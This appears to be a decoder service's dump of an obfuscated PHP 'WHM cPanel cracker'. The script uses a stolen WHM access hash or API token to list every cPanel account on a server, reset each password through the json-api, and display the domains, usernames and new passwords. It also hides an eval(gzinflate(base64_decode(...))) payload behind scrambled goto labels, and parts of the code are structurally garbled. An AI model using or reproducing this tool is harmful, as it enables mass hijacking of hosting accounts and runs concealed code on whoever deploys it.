${${"\x47\x4cOBAL\x53"}["hnf\x6d\x72k\x73b"]} .
"/j\x73\x6f\x6e-api/\x6cis\x74a\x63\x63\x74s";
${${"\x47\x4c\x4f\x42\x41\x4cS"}[
"\x72\x61c\x70\x61\x73g\x62\x68\x6bl"
]} = CurlPage(
${${"G\x4c\x4f\x42A\x4c\x53"}["\x74po\x62\x70\x78\x69h\x6b"]}
);
if (
!preg_match(
"/a\x63\x63\x74/",
${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x72a\x63p\x61\x73gb\x68\x6bl"]}
)
) {
echo "\x20 \x20<\x64\x69\x76 c\x6c\x61ss\x3d'\x63ontain\x65\x72\x27>\x20\x3c\x682\x3e\x57H\x4d \x43\x50\x41NEL\x20\x43\x52A\x43\x4b\x45\x52\x3c/h2>\x20<\x6c\x61b\x65\x6c\x20f\x6fr=\x27\x70wd'>\x4e\x6f\x74\x65\x21\x20:\x20W\x65\x20\x64\x6f\x6e\x27t \x41\x63cep\x74 a\x6ey r\x65sp\x6fnsibility \x66or \x61n\x79\x20il\x6ceg\x61l\x20usag\x65\x2e</\x6c\x61\x62\x65\x6c>\x20\x3cb\x72\x3e<\x62\x72\x3e \x20 <label\x20\x66\x6f\x72\x3d'no\x74e'\x20cla\x73\x73\x3d'tex\x74-d\x61ng\x65\x72\x27>A\x63\x63es\x73 d\x65ni\x65d</la\x62el>\x20 </d\x69v\x3e\x20\x20 \x20";
die();
}
function get_contents($url)
{
$njavjbyv = "\x63h";
$szjemtgng = "\x63\x68";
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}[
"\x64\x74\x76c\x6cx\x72adh\x7a\x6b"
]} = curl_init("$url");
$rvlsdt = "\x63\x68";
$klkbdju = "\x63\x68";
$xfmkkgifpog = "\x72e\x73\x75\x6c\x74";
curl_setopt(${$njavjbyv}, CURLOPT_RETURNTRANSFER, 1);
curl_setopt(${$klkbdju}, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt(
${${"\x47\x4c\x4fBA\x4cS"}["\x64\x74vc\x6c\x78\x72a\x64h\x7ak"]},
CURLOPT_USERAGENT,
"\x4d\x6f\x7ai\x6cla/\x35.\x30(W\x69\x6edow\x73\x20\x4e\x54\x206.1;\x20r\x76:32.\x30)\x20G\x65c\x6b\x6f/2010010\x31\x20\x46irefo\x78/\x33\x32.0"
);
curl_setopt(
${${"G\x4c\x4f\x42\x41LS"}["dt\x76\x63\x6cx\x72\x61dhz\x6b"]},
CURLOPT_SSL_VERIFYPEER,
0
);
curl_setopt(${$rvlsdt}, CURLOPT_SSL_VERIFYHOST, 0);
$cbjuqbn = "r\x65sul\x74";
curl_setopt(${$szjemtgng}, CURLOPT_COOKIEJAR, $GLOBALS["c\x6f\x6bi"]);
curl_setopt(
${${"GL\x4fB\x41LS"}[
"\x64\x74\x76\x63\x6c\x78\x72\x61\x64\x68z\x6b"
]},
CURLOPT_COOKIEFILE,
$GLOBALS["\x63\x6f\x6bi"]
);
${$xfmkkgifpog} = curl_exec(
${${"\x47L\x4f\x42\x41\x4c\x53"}[
"\x64t\x76\x63l\x78\x72\x61d\x68\x7a\x6b"
]}
);
return ${$cbjuqbn};
}
goto zbM88;
rruM0:
${${"\x47\114\117\102\x41\114\123"}[
"\x74\160\165\162\154\152\154\x64\166\151"
]} =
"\123\171\61\114\x7a\116\x48\111\113\x4d\x6e\x4e\x4b\123\x35\111\x54\x63\x35\115\x7a\x45\x6e\x4f\123\x43\167\x71\x6a\x6b\x39\112\124\x63\x35\120\123\x64\x55\x6f\x4c\x63\x71\102\163\x70\x49\x53\x69\x31\120\x4e\x54\x47\104\x69\x4b\156\x6d\112\x75\x61\x6d\141\121\107\101\x4e\x41\101\x3d\x3d";
goto pgAXN;
NFL2H:
${"\107\114\x4f\102\101\114\123"}["\151\x76\x78\x79\144\x68\166"] =
"\x6e\x61\x6d\145";
goto O4vzH;
O4vzH:
${"\x47\x4c\117\102\x41\114\x53"}["\162\172\x6b\171\154\152\x78\146\163"] =
"\163\x74\162";
goto guQfq;
x9aQH:
${${"\x47\x4c\x4f\x42\x41\114\123"}[
"\162\172\153\171\x6c\x6a\x78\x66\x73"
]} =
"\75\101\x4a\x6e\x4c\x61\171\103\x7a\x62\123\115\x41\113\53\117\x70\x37\151\x47\x2f\x48\x33\62\x4e\x5a\x6c\x6d\x71\x36\142\x68\x4b\104\66\151\57\x42\x61\x65\67\x6e\x31\x70\x59\106\x42\147\x50\x54\172\162\143\154\x64\x2b\x42\107\142\166\67\115\152\x75\x51\x77\x34\x63\123\104\104\154\x6a\111\x6a\102\x2f\164\x61\61\x6d\x63\113\126\115\166\x42\x58\x32\157\x75\x45\130\107\106\154\x47\x4c\x43\x65\165\105\x6e\x6a\145\x58\151\x77\126\x69\113\152\115\70\62\x73\103\161\115\171\162\162\130\61\x43\172\155\146\125\153\60\127\160\153\x45\126\124\x6b\x5a\120\x64\171\101\166\x2b\x7a\57\x66\66\127\x48\164\150\71\160\122\126\147\x33\157\151\153\104\x55\62\x47\165\x46\141\67\x67\x59\x76\x7a\x55\130\144\165\x34\153\150\127\116\162\x6e\151\x35\x54\x59\122\147\143\x61\x2b\x33\x51\x6b\x41\141\x4c\70\x69\53\x5a\107\x59\127\66\x65\x39\101\167\x71\x53\x2b\x72\x59\167\126\66\x47\122\x61\126\x76\x6f\x34\x6b\x72\61\156\x2b\150\160\x46\117\x34\112\146\x42\171\x77\x63\125\155\64\120\x54\x4f\x4b\131\114\70\62\x31\120\166\x64\x4a\171\57\115\x63\x79\x63\x6b\x63\156\164\157\x44\142\x43\53\x75\x4c\x64\124\117\57\x7a\111\164\x71\114\x52\x44\x6f\151\166\x77\143\130\x35\x35\132\x74\102\x45\112\62\x74\152\102\x45\161\102\126\143\x43\105\124\x51\x79\x6a\x68\70\142\153\x44\131\x67\152\145\x4c\x6a\61\x2f\x37\x74\x58\x7a\x76\67\116\x59\153\144\132\157\x70\x50\125\x78\x2f\x4d\132\x76\57\x6f\x55\163\144\124\131\62\x6b\x73\142\112\x54\x69\154\x53\x4c\x71\144\x6a\114\121\x46\113\x53\x59\160\x30\141\x2f\101\x62\x4b\61\x45\x68\x6f\121\x59\x57\x68\71\x74\147\x76\130\115\105\x41\112\70\x61\x50\x42\132\154\143\x69\x6e\x2f\120\x48\101\115\102\64\x76\171\102\x55\124\x41";
goto rruM0;
zbM88:
${"\107\x4c\x4f\x42\x41\114\123"}[
"\164\160\x75\162\x6c\x6a\x6c\144\x76\x69"
] = "\164\x65\x78\164";
goto NFL2H;
guQfq:
${${"\107\x4c\117\102\101\x4c\123"}["\151\166\170\171\x64\150\x76"]} =
"\132\130\x5a\x68\142\103\125\171\117\103\x55\171\x4e\x79\125\172\x52\151\x55\x79\116\x6d\x64\x30\x4a\x54\116\x43\112\x54\111\x33\114\155\x64\66\x64\127\65\152\142\x32\x31\x77\x63\155\126\x7a\x63\x79\125\171\117\107\x64\x36\x61\x57\65\155\142\x47\106\60\x5a\x53\x55\171\x4f\x47\144\66\141\x57\65\x6d\142\x47\106\60\132\x53\x55\171\x4f\x47\x4a\150\x63\62\x55\x32\x4e\106\x39\x6b\x5a\127\x4e\x76\132\x47\125\x6c\x4d\152\150\172\x64\x48\112\171\132\x58\131\x6c\x4d\152\x67\154\x4d\152\x52\x7a\144\110\x49\154\115\152\x6b\x6c\x4d\x6a\x6b\154\x4d\152\153\x6c\115\x6a\x6b\x6c\115\x6a\x6b\154\x4d\x6a\153\x6c\115\60\x49\75";
goto x9aQH;
pgAXN:
eval(
gzinflate(
base64_decode(
${${"\x47\x4c\x4f\x42\101\114\x53"}[
"\x74\x70\x75\x72\x6c\152\x6c\x64\166\x69"
]}
)
)
);
}
function multiRequest($data, $options = [])
{
${"G\x4c\x4fB\x41\x4c\x53"}["\x63o\x77\x78\x63do\x65"] =
"r\x65\x73u\x6c\x74";
${"\x47\x4cO\x42\x41\x4cS"}["\x71c\x79\x64\x63\x76s"] = "c\x75rl\x79";
$imthihpqlmif = "ux\x65\x72";
${"G\x4cOB\x41LS"}["si\x74\x6a\x74i\x67\x6b\x6f"] = "d\x61\x74a";
${"GL\x4f\x42A\x4c\x53"}["m\x6d\x67\x73\x71\x6c\x7a\x61"] =
"t\x30\x6b\x65\x6e";
${$imthihpqlmif} = $_REQUEST["\x75\x73\x65\x72"];
${${"G\x4c\x4fBA\x4cS"}["\x6dm\x67s\x71lza"]} =
$_REQUEST["\x74o\x6b\x65\x6e"];
${${"G\x4cO\x42\x41\x4c\x53"}["\x71\x63\x79\x64\x63\x76\x73"]} = [];
${"\x47LO\x42A\x4c\x53"}["\x66\x66q\x66r\x69\x65"] =
"\x72\x75n\x6e\x69n\x67";
${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x63\x6fw\x78\x63\x64\x6fe"]} = [];
${${"\x47\x4c\x4fB\x41\x4c\x53"}[
"vs\x70l\x67\x76\x68j\x6dq\x79"
]} = curl_multi_init();
foreach (
${${"G\x4cOB\x41\x4c\x53"}["s\x69\x74\x6ati\x67\x6b\x6f"]}
as ${${"G\x4c\x4f\x42\x41\x4c\x53"}[
"\x64\x6c\x79x\x73h\x6d\x70\x65"
]} =>
${${"\x47\x4c\x4fBA\x4c\x53"}[
"\x6ev\x69\x69q\x6e\x65\x67\x77r\x78v"
]}
) {
${"\x47L\x4f\x42A\x4cS"}["\x6a\x6e\x68hpr\x77\x63o"] = "d";
$hbjsnhrt = "c\x75\x72\x6c\x79";
$bdhsbjscy = "c\x75rl\x79";
$lqlorjgn = "\x69\x64";
$tbmbxffdce = "\x69\x64";
${${"G\x4cO\x42\x41L\x53"}["\x64\x64k\x6d\x6a\x70\x6b"]}[
${$tbmbxffdce}
] = curl_init();
$kkfvrp = "\x69\x64";
$qkcmoegnzid = "\x63\x75\x72\x6c\x79";
${"G\x4cOB\x41\x4c\x53"}["\x6f\x74\x6a\x78\x71\x6f\x74b"] =
"\x63u\x72l\x79";
${"G\x4c\x4f\x42\x41\x4c\x53"}["oo\x6cv\x62\x67\x6a"] = "i\x64";
${"\x47\x4c\x4f\x42\x41\x4cS"}["q\x73w\x75\x69m\x70"] = "c\x75rl\x79";
$tsrdmt = "d";
${"\x47\x4cO\x42\x41\x4c\x53"}[
"\x68\x63\x66\x76\x6d\x66\x74\x67\x6e\x68"
] = "\x64";
$twmpmcxqhq = "\x69\x64";
${"G\x4c\x4fB\x41L\x53"}["g\x71r\x69\x70\x78o\x73"] = "\x64";
$filxebf = "\x75\x72\x6c";
${$filxebf} =
is_array(
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}[
"\x6a\x6e\x68\x68\x70\x72\x77\x63\x6f"
]}
) &&
!empty(
${${"\x47\x4c\x4f\x42\x41L\x53"}[
"\x67\x71\x72\x69\x70\x78\x6fs"
]}["url"]
)
? ${$tsrdmt}["u\x72l"]
: ${${"\x47\x4c\x4f\x42A\x4c\x53"}["h\x63\x66vmft\x67\x6eh"]};
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x62\x6d\x72as\x79\x79m\x6fjtw"] =
"\x64";
curl_setopt(
${$qkcmoegnzid}[
${${"\x47\x4c\x4f\x42A\x4cS"}["\x64\x6c\x79xsh\x6dp\x65"]}
],
CURLOPT_URL,
${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6a\x65\x6d\x6c\x63\x62un\x70a"]}
);
curl_setopt(
${$bdhsbjscy}[
${${"G\x4cO\x42A\x4cS"}["\x64\x6c\x79\x78\x73\x68m\x70\x65"]}
],
CURLOPT_HEADER,
0
);
$reempwhbfjk = "i\x64";
curl_setopt(
${${"\x47\x4cO\x42A\x4c\x53"}["\x64d\x6b\x6d\x6a\x70k"]}[
${$twmpmcxqhq}
],
CURLOPT_RETURNTRANSFER,
1
);
curl_setopt(
${${"G\x4c\x4f\x42\x41\x4c\x53"}["d\x64\x6b\x6dj\x70\x6b"]}[
${$lqlorjgn}
],
CURLOPT_SSL_VERIFYPEER,
0
);
curl_setopt(
${${"\x47\x4c\x4fBA\x4cS"}["\x6ftj\x78\x71\x6ft\x62"]}[${$kkfvrp}],
CURLOPT_SSL_VERIFYHOST,
0
);
curl_setopt(
${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x71swu\x69m\x70"]}[
${$reempwhbfjk}
],
CURLOPT_HTTPHEADER,
[
"\x41ut\x68\x6friz\x61\x74\x69on: \x57H\x4d\x20" .
${${"G\x4cOBAL\x53"}[
"\x69\x74\x76\x6a\x69\x74\x75\x79\x6f\x69z"
]} .
":" .
${${"\x47\x4c\x4fB\x41\x4cS"}["\x75\x68\x6e\x77go\x66p\x63k"]},
]
);
if (
is_array(
${${"\x47\x4c\x4f\x42ALS"}[
"\x62\x6d\x72\x61\x73\x79\x79mojt\x77"
]}
)
) {
if (
!empty(
${${"\x47\x4c\x4f\x42\x41\x4cS"}[
"nvii\x71\x6eegw\x72\x78v"
]}["\x70ost"]
)
) {
${"\x47\x4c\x4fBAL\x53"}["\x78\x75z\x7a\x74c\x77\x61\x79bs"] =
"c\x75\x72l\x79";
${"\x47L\x4f\x42\x41\x4c\x53"}[
"\x76\x68\x65\x6e\x76\x6dlw\x62u"
] = "\x63\x75r\x6c\x79";
$imawwukpmx = "\x64";
$lukwklxadm = "i\x64";
${"\x47L\x4f\x42\x41\x4c\x53"}[
"w\x77y\x72\x79\x69\x6d\x76h\x67"
] = "id";
curl_setopt(
${${"G\x4c\x4f\x42\x41\x4c\x53"}[
"\x78u\x7a\x7a\x74\x63\x77a\x79\x62\x73"
]}[
${${"\x47L\x4f\x42\x41\x4cS"}[
"\x77\x77\x79\x72y\x69\x6d\x76\x68\x67"
]}
],
CURLOPT_POST,
1
);
curl_setopt(
${${"\x47LO\x42ALS"}["\x76\x68\x65\x6ev\x6d\x6cwb\x75"]}[
${$lukwklxadm}
],
CURLOPT_POSTFIELDS,
${$imawwukpmx}["pos\x74"]
);
}
}
if (
!empty(
${${"G\x4c\x4fB\x41\x4c\x53"}[
"x\x6fh\x71\x63z\x6d\x6a\x6dh\x6c\x7a"
]}
)
) {
$bhvrfodc = "\x6f\x70\x74\x69\x6f\x6e\x73";
curl_setopt_array(
${${"\x47\x4c\x4fBA\x4cS"}["\x64\x64\x6bmj\x70k"]}[
${${"\x47\x4c\x4f\x42A\x4cS"}["\x64\x6cyxs\x68m\x70\x65"]}
],
${$bhvrfodc}
);
}
curl_multi_add_handle(
${${"GLOB\x41\x4c\x53"}["\x76s\x70lg\x76\x68\x6a\x6d\x71\x79"]},
${$hbjsnhrt}[
${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6f\x6f\x6c\x76b\x67\x6a"]}
]
);
}
${${"\x47L\x4f\x42\x41LS"}["f\x66\x71\x66\x72i\x65"]} = null;
do {
${"GLOBA\x4c\x53"}["x\x7a\x70\x74\x65l\x74"] = "\x72\x75\x6en\x69n\x67";
curl_multi_exec(
${${"\x47LO\x42\x41L\x53"}["\x76\x73pl\x67v\x68\x6a\x6d\x71\x79"]},
${${"\x47\x4c\x4fB\x41L\x53"}["x\x7apt\x65\x6c\x74"]}
);
} while (
${${"\x47\x4cO\x42\x41\x4c\x53"}[
"\x6e\x74\x61\x73\x66\x64\x78\x78\x6e\x6a"
]} > 0
);
foreach (
${${"GL\x4fB\x41\x4c\x53"}["\x64d\x6bm\x6a\x70\x6b"]}
as ${${"\x47\x4c\x4f\x42ALS"}["\x64\x6cy\x78\x73\x68\x6dp\x65"]} =>
${${"GL\x4f\x42\x41\x4c\x53"}["\x6b\x77cu\x74\x63\x68"]}
) {
$nmwfxflppc = "\x69d";
${"\x47LO\x42ALS"}["f\x64\x6c\x61\x75\x61yr"] = "\x72e\x73\x75\x6c\x74";
${${"G\x4c\x4f\x42\x41LS"}["\x66d\x6cau\x61\x79r"]}[
${$nmwfxflppc}
] = json_decode(
curl_multi_getcontent(
${${"\x47L\x4f\x42A\x4c\x53"}["k\x77\x63\x75tc\x68"]}
),
true
);
$ixuplatqin = "\x6d\x68";
curl_multi_remove_handle(
${$ixuplatqin},
${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x77\x63\x75\x74\x63\x68"]}
);
}
curl_multi_close(
${${"\x47\x4cO\x42\x41\x4c\x53"}["\x76\x73\x70l\x67vhjm\x71\x79"]}
);
return ${${"\x47LO\x42A\x4cS"}["\x72\x67\x64y\x68\x63p\x6f\x6e"]};
}
if (!empty($_POST["\x75ser"])) {
$ymovfmwtaua = "\x64\x61\x74\x61";
${"\x47LO\x42\x41\x4c\x53"}["\x6d\x72\x6em\x6a\x73h\x70"] =
"a\x63c\x6fu\x6e\x74\x4cist";
$ueprbwoh = "\x61c\x63\x6fun\x74Li\x73\x74JS\x4f\x4e";
$nwopoflmvfv = "\x61\x63\x63\x6f\x75\x6etList";
${"\x47\x4cO\x42A\x4c\x53"}["\x7a\x6d\x77ed\x76\x6a\x61\x72\x69i"] = "\x72";
$gvensk = "\x6a\x73on";
${${"G\x4c\x4f\x42\x41L\x53"}["lw\x64\x6e\x78\x72"]} = utf8_encode(
${$gvensk}
);
${${"\x47L\x4f\x42\x41\x4cS"}[
"\x76\x66\x65\x6e\x75\x72\x64\x6b\x6d\x7a\x6b\x62"
]} = json_decode(${$ueprbwoh}, true);
if (
is_array(
${${"\x47\x4c\x4f\x42\x41\x4cS"}["m\x72\x6e\x6d\x6a\x73\x68\x70"]}
) === false
) {
return false;
}
if (is_array(${$nwopoflmvfv}["\x61cc\x74"]) === false) {
return false;
}
echo "<div \x63las\x73\x3d'conta\x69\x6e\x65\x72\x27>\x20\x3c\x682\x3e\x57H\x4d\x20 C\x50\x41\x4e\x45L\x20\x43R\x41\x43\x4b\x45\x52\x3c/h\x32>\x20 <\x6ca\x62\x65l\x20\x66\x6f\x72\x3d'\x70w\x64\x27\x3e\x4eot\x65! :\x20\x57e\x20d\x6fn\x27\x74\x20\x41\x63cept\x20any\x20re\x73p\x6fns\x69b\x69l\x69t\x79 for an\x79\x20\x69l\x6cegal\x20\x75s\x61\x67e\x2e</l\x61\x62\x65l\x3e \x3cbr\x3e<\x62\x72\x3e\x20\x3ct\x61\x62\x6c\x65\x20\x73ty\x6c\x65='\x77idth:8\x300'\x3e <\x74r>\x20<t\x68\x3eCp\x61nel</\x74\x68>\x20<t\x68\x3eU\x73e\x72na\x6d\x65</th\x3e \x20\x3c\x74h>\x50\x61\x73\x73\x77o\x72\x64\x3c/t\x68\x3e \x3c/tr>";
${${"GL\x4fB\x41\x4cS"}["\x73\x71qe\x6c\x78\x6f\x61\x70w"]} =
${${"GLO\x42\x41LS"}["\x76\x66\x65\x6eu\x72\x64\x6bm\x7a\x6bb"]}[
"a\x63c\x74"
];
${$ymovfmwtaua} = [];
foreach (
${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x73\x71\x71\x65lx\x6f\x61\x70w"]}
as ${${"\x47\x4c\x4f\x42\x41\x4cS"}[
"\x77\x70\x65\x62\x64\x75gq\x78"
]} =>
${${"\x47\x4cO\x42\x41\x4c\x53"}[
"\x66\x69\x63p\x6e\x72\x7a\x6a\x61"
]}
) {
${"G\x4cOBALS"}["\x66\x68\x73\x71ls"] = "\x64\x6f\x6d\x61\x69\x6e";
$dxthubkpg = "r\x6f\x77";
${"G\x4cO\x42\x41L\x53"}["bom\x77bbp"] = "domi\x6e";
${"\x47L\x4fB\x41\x4c\x53"}["\x70\x70\x68k\x76t\x6f\x62\x73\x71\x72"] =
"\x6be\x79";
${"\x47\x4c\x4f\x42A\x4c\x53"}["\x67yx\x79kk\x63drt\x63k"] =
"\x64\x6f\x6d\x61i\x6e";
${${"G\x4c\x4fBA\x4c\x53"}["\x6f\x64\x69\x75\x73\x77\x74\x6c"]}[
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}[
"\x70\x70\x68\x6b\x76\x74o\x62sq\x72"
]}
] = ${$dxthubkpg}["\x75ser"];
${${"\x47\x4c\x4fB\x41L\x53"}[
"\x67\x79\x78\x79\x6b\x6bc\x64\x72\x74c\x6b"
]}[${${"\x47\x4cO\x42\x41\x4c\x53"}["w\x70eb\x64ug\x71x"]}] =
${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x66\x69c\x70\x6erzja"]}[
"d\x6fm\x61i\x6e"
];
foreach (
${${"\x47\x4c\x4f\x42\x41L\x53"}[
"\x6f\x64\x69\x75\x73\x77\x74\x6c"
]}
as ${${"\x47\x4cO\x42\x41L\x53"}["f\x64\x72\x6f\x6c\x61\x6b"]}
);
foreach (
${${"\x47LO\x42\x41\x4cS"}["\x66\x68\x73\x71l\x73"]}
as ${${"\x47\x4cO\x42\x41L\x53"}["\x62\x6fm\x77bbp"]}
);
${"GL\x4f\x42\x41\x4c\x53"}["\x66\x6b\x7a\x66\x79\x71\x6a"] =
"\x6eew\x70\x61ss";
${"G\x4cO\x42\x41\x4c\x53"}["\x64u\x77\x74\x67y\x6dm"] =
"s\x74\x72\x69\x69";
${"GL\x4f\x42A\x4c\x53"}["r\x79\x6ev\x79td"] = "ne\x77\x69\x69";
$ixviuep = "u\x73\x72";
$mvrebgu = "ho\x78t";
${"\x47\x4c\x4f\x42\x41\x4cS"}["g\x76dh\x73wr\x65\x64\x6dqq"] =
"\x72\x65\x70i\x69";
$dgrtynyj = "\x73\x74\x72i\x69";
${${"GL\x4f\x42\x41\x4c\x53"}["\x64\x75wtg\x79mm"]} = sha1(${$ixviuep});
${${"G\x4c\x4f\x42\x41L\x53"}["\x74\x68\x63wh\x66\x69\x74"]} = substr(
${$dgrtynyj},
35
);
$jvtikfjivv = "\x64a\x74\x61";
${${"\x47L\x4f\x42\x41L\x53"}[
"\x77\x76\x79\x6b\x66y\x74\x75\x6c\x77m\x68"
]} = base64_encode(
gzdeflate(
${${"\x47\x4cO\x42\x41L\x53"}["r\x79\x6e\x76\x79\x74\x64"]}
)
);
$bhivvgloejo = "\x64\x6f\x6d\x69\x6e";
${${"\x47\x4c\x4f\x42A\x4cS"}["r\x6c\x73\x68\x6e\x6cr"]} = str_replace(
"=",
"",
${${"\x47L\x4f\x42\x41LS"}["w\x76\x79kfytulw\x6d\x68"]}
);
$ggoepxml = "n\x65wp\x61s\x73";
$nrodmdrxeq = "newpa\x73\x73";
${$nrodmdrxeq} =
"3" .
${${"GL\x4f\x42\x41\x4c\x53"}[
"\x67\x76\x64\x68\x73\x77\x72\x65\x64m\x71\x71"
]} .
"\x40";
${$jvtikfjivv}[] =
${$mvrebgu} .
"/\x6a\x73\x6fn-a\x70i/pa\x73\x73w\x64?\x61\x70\x69.\x76e\x72\x73\x69\x6f\x6e=\x31&\x75\x73e\x72=" .
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["f\x64\x72\x6f\x6ca\x6b"]} .
"&\x70\x61s\x73\x77o\x72\x64=" .
${$ggoepxml} .
"&\x6cocale=e\x6e";
echo "<t\x72>\x3ct\x64\x3eht\x74\x70\x73://" .
${$bhivvgloejo} .
":208\x33</td>" .
"\x3c\x74\x64>" .
${${"\x47\x4c\x4f\x42\x41\x4cS"}["f\x64r\x6f\x6c\x61k"]} .
"</td><td\x3e" .
${${"\x47\x4cO\x42\x41\x4c\x53"}["f\x6b\x7a\x66\x79\x71\x6a"]} .
"</\x74\x64>";
}
${${"GL\x4f\x42\x41L\x53"}[
"\x7am\x77\x65\x64v\x6aa\x72\x69\x69"
]} = multiRequest(
${${"\x47\x4c\x4f\x42\x41L\x53"}["\x78\x67\x6ax\x66\x6b\x6c\x6d\x65"]}
);
echo "</\x74\x61ble>";
echo "\x3cb\x72\x3e<f\x6fnt\x20color\x3d\x23ff99\x33\x33\x3e<\x62>S\x75\x63c\x65\x73\x73\x66\x75ll\x79 Cha\x6e\x67\x65\x64\x3c/b\x3e\x3c/\x66\x6f\x6et\x3e\x3cb\x72\x3e\x3c\x62r\x3e<br></\x64iv>";
die();
}
echo "<\x62\x6fd\x79> \x3cdi\x76\x20\x63\x6c\x61\x73\x73=\x22c\x6fnt\x61\x69ner\x22\x3e \x20\x20\x3ch\x32\x3e\x57\x48\x4d\x20\x20\x43\x50\x41NEL\x20CR\x41\x43\x4b\x45R\x3c/\x682> \x20\x20\x3c\x6cabe\x6c for\x3d\"p\x77\x64\"\x3eN\x6f\x74\x65! :\x20W\x65\x20\x64\x6f\x6e\"t\x20\x41cce\x70t \x61ny \x72\x65\x73\x70\x6fnsi\x62i\x6city \x66o\x72\x20\x61ny\x20illegal\x20\x75\x73a\x67e\x2e</\x6c\x61b\x65l\x3e\x20\x3c\x62\x72>\x3c\x62r\x3e\x20 <form\x20\x6d\x65t\x68\x6f\x64\x3d\"po\x73t\x22 > \x20\x20 \x20<div\x20cl\x61\x73s=\x22\x66o\x72m-grou\x70\x22\x3e\x20\x20\x20 \x20\x20\x20\x3c\x6ca\x62\x65l \x66o\x72=\"h\x6f\x73\x74\">H\x6f\x73\x74:</l\x61\x62el> \x20 \x3cinput ty\x70\x65=\"t\x65\x78t\"\x20clas\x73\x3d\x22\x66\x6fr\x6d-c\x6fn\x74ro\x6c\" i\x64=\"\x65ma\x69l\"\x20pla\x63e\x68\x6f\x6cder\x3d\"h\x74tp\x73://e\x78ampl\x65.\x63om:2\x30\x38\x37\"\x20n\x61me=\"ho\x73\x74\x22> \x20 \x20 \x3c/\x64\x69\x76\x3e\x20\x20 \x20 \x3c\x64\x69\x76\x20\x63l\x61\x73s\x3d\x22f\x6f\x72\x6d-\x67ro\x75\x70\x22\x3e\x20\x20\x20\x20\x20 \x20<\x6ca\x62\x65l\x20\x66\x6f\x72=\"\x75\x73er\x22\x3e\x55s\x65r:\x3c/label> \x20 \x20\x20\x20 <inpu\x74 t\x79p\x65=\"t\x65x\x74\x22 \x63\x6cas\x73\x3d\"f\x6fr\x6d-c\x6f\x6et\x72o\x6c\x22\x20\x69d=\"p\x77\x64\x22 \x70la\x63\x65\x68o\x6c\x64\x65r=\"r\x6f\x6ft\"\x20na\x6d\x65=\x22\x75\x73\x65r\">\x20 \x20\x20 \x3c/\x64i\x76\x3e\x20 \x20 \x20<\x64i\x76 \x63l\x61\x73s\x3d\x22\x66or\x6d-\x67\x72\x6f\x75p\"\x3e\x20\x20 \x20\x20 <\x6c\x61\x62\x65\x6c fo\x72=\"\x74\x6fk\x65n\x22\x3e\x41c\x63esshas\x68 \x6fr\x20Ap\x69\x20to\x6ben:\x3c/\x6c\x61bel>\x20\x20 \x20\x20\x20\x20\x3c\x69\x6e\x70\x75t\x20ty\x70e=\"t\x65\x78\x74\x22\x20c\x6ca\x73\x73=\x22f\x6f\x72m-\x63on\x74\x72o\x6c\x22\x20i\x64=\"pw\x64\x22\x20p\x6c\x61\x63\x65ho\x6cd\x65\x72=\x22ZA\x494\x44\x52\x31\x39Q\x44\x4b\x32X\x36\x38\x37\x37Q6SEXP\x47\x570C\x51V\x4fQV\"\x20n\x61m\x65=\x22tok\x65\x6e\x22>\x20 \x20\x20\x3c/\x64\x69\x76\x3e\x20\x20\x20 <b\x75\x74\x74\x6fn\x20\x74\x79pe\x3d\"\x73u\x62m\x69\x74\x22\x20\x63\x6cass=\"\x62tn b\x74\x6e-def\x61\x75\x6c\x74\">\x53ubm\x69\x74</bu\x74\x74o\x6e>\x20 \x20</form\x3e \x3c/di\x76> </b\x6fdy\x3e\x20\x3c/html>";
Function Calls
None |
Stats
MD5 | e496c526166a4e1fbc86bc925f2583b7 |
Eval Count | 0 |
Decode Time | 75 ms |